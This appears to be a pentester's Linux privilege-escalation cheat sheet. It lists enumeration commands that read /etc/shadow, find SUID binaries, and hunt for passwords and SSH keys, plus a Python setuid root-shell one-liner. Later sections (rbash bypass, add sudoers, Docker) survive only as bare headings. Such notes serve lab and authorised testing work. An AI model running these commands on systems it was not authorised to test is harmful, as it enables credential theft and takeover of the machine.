Escalation

Enumerate

file /bin/bash
# /bin/bash ELF 32-LSB Executable
# gcc exploit.c -o exploit --no-pie

# /bin/bash ELF 32-LSB pie Executable
# gcc exploit.c -o exploit

lsb_release -a
uname -a
cat /etc/*-release
env
cat /proc/version

# Search Config Files!
ls /var/www 
ls /var/www/html        
ls /var/tmp
ls /tmp
ls /dev/shm
ls /var/mail

# Search extend user attribute not ext4
cat /etc/fstab    
mount

# Looking for file or directory not create by root
ls /etc                
ls -lsa /etc | grep -i '.secret'
ls -lsa /etc/passwd
ls -lsa /etc/shadow
cat /etc/crontab
ls -lsa /etc/cron*
ps aux | grep -i 'root' --color=auto

# Looking for listening on 127.0.0.1
netstat -tupln | grep -i '127.0.0.1' --color=auto  

# expanding all subdirectory
ls -lsaR /home 2>/dev/null

# SUID 
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f -ls 2>/dev/null
find / -perm -g=s -type f -ls 2>/dev/null
find / -type f -user yash 2>/dev/null
find / -user root -perm /4000 2>/dev/null
find / -type f -name '*.txt' 2>/dev/null 
find / -user root -perm -4000 -exec ls -ldb {}; > /tmp/suid
getcap -r / 2>/dev/null 
find / -group users -ls 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
https://pentestlab.blog/2017/09/25/suid-executables/
https://gtfobins.github.io/gtfobins/git/

# File Capabilities (extended privilege -ep)
getcap -r / 2>/dev/null
python -c 'import os; os.setuid(0); os.system("/bin/bash")'

# grep keyword
grep -iR 'db' . --color=auto
grep -iR 'sql' . --color=auto

#Find file
find /home/pin/ -user pin -perm /a+r -type f

# Firewall Enumerate
grep -Hs iptables /etc/*

# File Permission
find / -writable -type d 2>/dev/null

# Mount Enumerate
mount
cat /etc/fstab
/bin/lsblk

# Mount Drive from Window
mount -t cifs //10.10.10.10/file-name /path-mount

# Writeable Configuration Files
[cmeeks@hetemit restjson_hetemit]$ find /etc -type f -writable 2> /dev/null
find /etc -type f -writable 2> /dev/null
/etc/systemd/system/pythonapp.service

# Password Hunting
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2>/dev/null
locate password | more
locate passwd | more
find / -name authorized_keys 2>/dev/null
find / -name id_rsa 2>/dev/null
grep -nr “db_user”as

Bin/Bash

Jailed SSH Shell

Improve Shell

rBash Bypass

Restricted Shell

Auto Script

Add sudoers

Generate Hash with User (/etc/passwd)

Generate Hash with user (/etc/shadow)

Python

Access to other user

Background the Process

Resource: https://github.com/DominicBreuker/pspyarrow-up-right

Linux Login

Docker

Resource: https://gtfobins.github.io/gtfobins/docker/arrow-up-right

First let check the docker images that available:

We can use the technique from above and replace with our current alpine name.

Crontab

C language Escalation

Chmod

SUID

Resource:

Nmap

wget

Find

Last updated